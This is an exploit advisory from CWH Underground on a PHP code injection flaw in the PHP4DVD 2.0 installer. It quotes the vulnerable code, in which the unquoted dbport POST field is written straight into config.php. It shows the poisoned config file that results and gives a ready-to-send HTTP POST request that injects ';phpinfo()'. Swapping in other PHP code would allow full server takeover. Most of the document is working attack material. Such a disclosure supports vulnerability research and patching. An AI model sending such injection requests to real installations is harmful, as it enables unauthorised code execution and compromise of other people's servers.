# Exploit Title : PHP4DVD PHP Code Injection
# Date : 31 May 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://php4dvd.sourceforge.net/
# Software Link : http://downloads.sourceforge.net/project/php4dvd/php4dvd-2.0.zip
# Version : 2.0
# Tested on : Window and Linux
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
####################################
VULNERABILITY: PHP CODE INJECTION
####################################
/install/index.php (LINE: 151-180)
-----------------------------------------------------------------------------
LINE 151-173:
$config = "<?php" . $nl;
// Default language
config .= '$settings["defaultlanguage"] = "' . addslashes($_POST["defaultlanguage"]) . '";' . $nl;
// Url
$config .= '$settings["url"]["base"] = "' . addslashes($_POST["url"]) . '";' . $nl;
// Database
$config .= '$settings["db"]["host"] = "' . addslashes($_POST["dbhost"]) . '";' . $nl;
$config .= '$settings["db"]["port"] = ' . addslashes($_POST["dbport"]) . ';' . $nl;
$config .= '$settings["db"]["name"] = "' . addslashes($_POST["dbname"]) . '";' . $nl;
$config .= '$settings["db"]["user"] = "' . addslashes($_POST["dbuser"]) . '";' . $nl;
$config .= '$settings["db"]["pass"] = "' . addslashes($_POST["dbpass"]) . '";' . $nl;
// Guest view
$config .= '$settings["user"]["guestview"] = ' . (isset($_POST["guestview"]) ? 'true' : 'false') . ';' . $nl;
// Template
$config .= '$template_name = "' . addslashes($_POST["template"]) . '";' . $nl;
// Close
$config .= "?>";
-----------------------------------------------------------------------------
-----------------------------------------------------------------------------
LINE 151-173:
$file = $loc . "config/config.php";
$fsuccess = true;
$handle = @fopen($file, "w+");
-----------------------------------------------------------------------------
#####################################################
DESCRIPTION
#####################################################
An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.
This CMS allow attacker to insert PHP code into config.php with ";phpinfo()"
/config/config.php
-----------------------------------------------------------------------------
<?php
$settings["defaultlanguage"] = "en_US";
$settings["url"]["base"] = "php4dvd";
$settings["db"]["host"] = "localhost";
$settings["db"]["port"] = 3306;phpinfo();
$settings["db"]["name"] = "php4dvd";
$settings["db"]["user"] = "root";
$settings["db"]["pass"] = "myP@ssw0rd";
$settings["user"]["guestview"] = false;
$template_name = "default";
?>
-----------------------------------------------------------------------------
#####################################################
EXPLOIT
#####################################################
POST /php4dvd/install/?go=configuration HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/php4dvd/install/?go=configuration
Cookie: __utma=111872281.1795322081.1369810583.1369810583.1369810583.1; __utmz=111872281.1369810583.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); lang=en_US; PHPSESSID=9bucpus4ag68733h2fjpm190p0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
dbhost=localhost&dbport=3306;phpinfo()&dbname=php4dvd&dbuser=root&dbpass=myP@ssw0rd&url=php4dvd&template=default&defaultlanguage=en_US&submit=Next
################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################